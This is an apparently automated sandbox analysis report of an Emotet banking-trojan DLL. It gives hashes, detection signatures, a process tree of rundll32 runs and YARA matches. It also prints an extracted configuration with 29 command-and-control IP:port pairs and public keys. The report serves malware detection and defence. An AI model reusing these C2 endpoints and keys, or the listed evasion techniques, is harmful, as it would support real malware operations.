Play interactive tour

Edit tour

Windows Analysis Report P5LROPCURK

Overview

General Information

Sample Name:	P5LROPCURK (renamed file extension from none to dll)
Analysis ID:	532415
MD5:	fd07795adccba25223cd6d2886b07636
SHA1:	bc72c869accfbb97b213c5ef8c5de400a070b936
SHA256:	b777ca4e3c07d59acf57fa180c4d878db1745ae9c78a93228704aa5eadf5a6c8
Tags:	32dllexetrojan
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Emotet

Changes security center settings (notifications, updates, antivirus, firewall)

Tries to detect virtualization through RDTSC time measurements

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Abnormal high CPU Usage

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Connects to several IPs in different countries

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 5636 cmdline: loaddll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 6036 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 452 cmdline: rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5596 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5192 cmdline: rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 3900 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Itfgfdekendecpnp\cibm.oux",wUSgoatRqMcfEKj MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4624 cmdline: rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,agrwqhxohbh MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 2932 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4388 cmdline: rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,aoydsyidkopcdbcv MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 3868 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 3536 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 4036 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4228 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 2548 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 1140 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 5968 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 5760 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 5184 cmdline: C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2", "RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.708035577.000000000321A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.701540322.0000000003365000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.647210731.000000000293A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.647047570.00000000005C0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.707972883.0000000003120000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.649442718.0000000002D90000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.701500859.0000000003130000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.707566483.000000000136B000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.649592685.0000000002FAA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.rundll32.exe.29543b0.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.138f2d0.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.2fc47e0.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.29543b0.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.3120000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.f80000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.2d90000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.5c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.3234f50.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.2d90000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.138f2d0.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.2fc47e0.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.5c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.3130000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.f80000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.3234f50.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.3130000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.3120000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 13 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0.2.loaddll32.exe.138f2d0.1.raw.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2", "RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5"]}

Multi AV Scanner detection for submitted file

Show sources

Source: P5LROPCURK.dll

Virustotal: Detection: 26%

Perma Link

Source: P5LROPCURK.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: P5LROPCURK.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4BA20 FindFirstFileExW,		0_2_6ED4BA20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED4BA20 FindFirstFileExW,		2_2_6ED4BA20

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 46.55.222.11:443
Source: Malware configuration extractor	IPs: 104.245.52.73:8080
Source: Malware configuration extractor	IPs: 41.76.108.46:8080
Source: Malware configuration extractor	IPs: 103.8.26.103:8080
Source: Malware configuration extractor	IPs: 185.184.25.237:8080
Source: Malware configuration extractor	IPs: 103.8.26.102:8080
Source: Malware configuration extractor	IPs: 203.114.109.124:443
Source: Malware configuration extractor	IPs: 45.118.115.99:8080
Source: Malware configuration extractor	IPs: 178.79.147.66:8080
Source: Malware configuration extractor	IPs: 58.227.42.236:80
Source: Malware configuration extractor	IPs: 45.118.135.203:7080
Source: Malware configuration extractor	IPs: 103.75.201.2:443
Source: Malware configuration extractor	IPs: 195.154.133.20:443
Source: Malware configuration extractor	IPs: 45.142.114.231:8080
Source: Malware configuration extractor	IPs: 212.237.5.209:443
Source: Malware configuration extractor	IPs: 207.38.84.195:8080
Source: Malware configuration extractor	IPs: 104.251.214.46:8080
Source: Malware configuration extractor	IPs: 212.237.17.99:8080
Source: Malware configuration extractor	IPs: 212.237.56.116:7080
Source: Malware configuration extractor	IPs: 216.158.226.206:443
Source: Malware configuration extractor	IPs: 110.232.117.186:8080
Source: Malware configuration extractor	IPs: 158.69.222.101:443
Source: Malware configuration extractor	IPs: 107.182.225.142:8080
Source: Malware configuration extractor	IPs: 176.104.106.96:8080
Source: Malware configuration extractor	IPs: 81.0.236.90:443
Source: Malware configuration extractor	IPs: 50.116.54.215:443
Source: Malware configuration extractor	IPs: 138.185.72.26:8080
Source: Malware configuration extractor	IPs: 51.68.175.8:8080
Source: Malware configuration extractor	IPs: 210.57.217.132:8080

Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR
Source: Joe Sandbox View	ASN Name: ARUBA-ASNIT ARUBA-ASNIT

Source: Joe Sandbox View	IP Address: 195.154.133.20 195.154.133.20
Source: Joe Sandbox View	IP Address: 212.237.17.99 212.237.17.99

Source: unknown

Network traffic detected: IP country count 18

Source: svchost.exe, 00000009.00000002.442045893.0000025327813000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.comedsds
Source: svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000009.00000003.416792415.000002532784C000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.453702600.000002532784D000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000009.00000003.416816556.0000025327843000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452132349.0000025327844000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000009.00000003.416816556.0000025327843000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452132349.0000025327844000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000009.00000002.458492938.000002532786B000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.408039178.0000025327869000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000009.00000003.416816556.0000025327843000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452132349.0000025327844000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000009.00000002.456984917.0000025327861000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416788411.0000025327860000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416797192.0000025327849000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452899257.000002532784A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000009.00000003.416792415.000002532784C000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.453702600.000002532784D000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000009.00000003.416797192.0000025327849000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452899257.000002532784A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000009.00000003.416797192.0000025327849000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452899257.000002532784A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000009.00000003.416777135.0000025327865000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000009.00000003.416816556.0000025327843000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452132349.0000025327844000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000009.00000002.451524746.0000025327841000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000009.00000003.361410520.0000025327835000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000009.00000003.361410520.0000025327835000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000009.00000003.361410520.0000025327835000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000009.00000003.361410520.0000025327835000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.450654860.000002532783E000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000009.00000002.454706391.0000025327856000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416769653.0000025327850000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416821086.0000025327855000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 3.2.rundll32.exe.29543b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.138f2d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2fc47e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.29543b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2d90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3234f50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.138f2d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2fc47e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.f80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3234f50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.708035577.000000000321A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.701540322.0000000003365000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.647210731.000000000293A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.647047570.00000000005C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.707972883.0000000003120000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.649442718.0000000002D90000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.701500859.0000000003130000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707566483.000000000136B000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.649592685.0000000002FAA000.00000004.00000020.sdmp, type: MEMORY

Source: P5LROPCURK.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Itfgfdekendecpnp\cibm.oux:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Itfgfdekendecpnp\

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA06EF	0_2_00FA06EF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9ED95	0_2_00F9ED95
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA20F8	0_2_00FA20F8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8E6FD	0_2_00F8E6FD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8BEF5	0_2_00F8BEF5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8A8E8	0_2_00F8A8E8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F97EDD	0_2_00F97EDD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA0AD3	0_2_00FA0AD3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F854C0	0_2_00F854C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8AEB9	0_2_00F8AEB9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9B0BA	0_2_00F9B0BA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F93ABE	0_2_00F93ABE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F956A9	0_2_00F956A9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F868AD	0_2_00F868AD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F904A4	0_2_00F904A4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8F4A5	0_2_00F8F4A5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8F699	0_2_00F8F699
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8D899	0_2_00F8D899
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8C69B	0_2_00F8C69B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F83085	0_2_00F83085
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9E478	0_2_00F9E478
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA1C71	0_2_00FA1C71
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA0C66	0_2_00FA0C66
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9645F	0_2_00F9645F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9604E	0_2_00F9604E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F83E3B	0_2_00F83E3B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9CC3F	0_2_00F9CC3F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F90A37	0_2_00F90A37
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F90824	0_2_00F90824
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9BA18	0_2_00F9BA18
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F91C12	0_2_00F91C12
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA2C16	0_2_00FA2C16
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8F20D	0_2_00F8F20D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F81DF9	0_2_00F81DF9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F86BFE	0_2_00F86BFE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9D5FE	0_2_00F9D5FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F991F7	0_2_00F991F7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8B7EC	0_2_00F8B7EC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F8FBEF	0_2_00F8FBEF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA35E3	0_2_00FA35E3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F913DB	0_2_00F913DB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9E7DA	0_2_00F9E7DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F989DA	0_2_00F989DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F85DC3	0_2_00F85DC3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F839C3	0_2_00F839C3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F94DC5	0_2_00F94DC5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F90FC5	0_2_00F90FC5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F82DC5	0_2_00F82DC5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F833A9	0_2_00F833A9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F9BFA1	0_2_00F9BFA1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F977A7	0_2_00F977A7
